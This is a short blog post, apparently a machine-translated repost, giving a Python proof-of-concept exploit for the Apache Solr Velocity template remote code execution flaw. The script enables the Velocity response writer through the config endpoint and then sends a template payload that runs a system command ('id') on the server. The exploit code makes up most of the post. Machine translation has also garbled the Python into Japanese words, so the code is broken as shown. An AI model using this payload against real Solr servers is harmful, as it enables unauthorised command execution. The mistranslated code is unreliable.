Solrの-RCEの脆弱性再現

Solrには最近、RCEの脆弱性のうちのビットを再現しています

#コーディングは:UTF-8

のインポート要求が
argparseインポート
urllibはインポートの解析から

__name__ == "__main__"場合:
    パーサ= argparse.ArgumentParser()
    parser.add_argument( ' - URL'、種類= STR、ヘルプ= 'URLを表示します' )
    引数= parser.parse_args()
    場合args.url:
        urlparse = parse.urlparse(args.url)
        URL = urlparse.scheme + '://' + urlparse.netloc + '/'
        ヘッダー= {
            'ユーザエージェント' : 'のMozilla / 5.0(のWindows NT 6.1; WOW64; RV:40.0)のGecko / 20100101 Firefoxの/ 40.1'、
            "コンテンツタイプ": "アプリケーション/ JSON"
        }
        DATAS = {
            "更新queryresponsewriter":{
                "スタートアップ": "怠惰"、
                "名前": "速度"、
                "クラス": "solr.VelocityResponseWriter"、
                "template.base.dir": ""、
                "solr.resource.loader.enabled": "真"、
                「params.resource.loader。有効": "真"
            }
        }
        POST_URL = parse.urljoin(URLは、 "/ Solrの/デモ/設定")
        RESP = requests.post(POST_URL、ヘッダ=ヘッダ、データ=件のデータが、= Falseの検証)
        GET_URL = parse.urljoin(URL、「/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x .class.forName(%27java.lang.Runtime%27))+%の23set($ CHR = $ x.class.forName(%27java.lang.Characterの%27))+%の23set($ STR = $ x.class .forName(%27java.lang.String%27))+%の23set($ EX = $ rt.getRuntime()。EXEC(%27id%27))+ $ ex.waitFor()+%の23set($アウト= $ ex.getInputStream())+%の23foreachは、($ iは+ IN + [1 .. $ out.available()])$ str.valueOf($ chr.toChars($ out.read()))%の23end」)
        応答= requests.getは(GET_URLは、検証= False)が
        ある場合、R response.textで"UID":
            プリント( "存在Solrの远程代码执行漏洞!")
            印刷( "\ n"は+ response.text)
        他:
            プリント(「不存在漏洞")
    それ以外:
        印刷(「欠落しているパラメータの--url」)

 

次のようにのpython3で書かれた、効果は次のとおりです。

 

 

 

これは、デモを使用して、ここで「/ Solrの/デモ/設定」のPOCを注目する価値がある、といないすべての環境は、デモノードと呼ばれ、実際のシナリオでは、コンソールのコア管理ビューをSolrにする必要があります

 

おすすめ

転載: www.cnblogs.com/jinqi520/p/11785618.html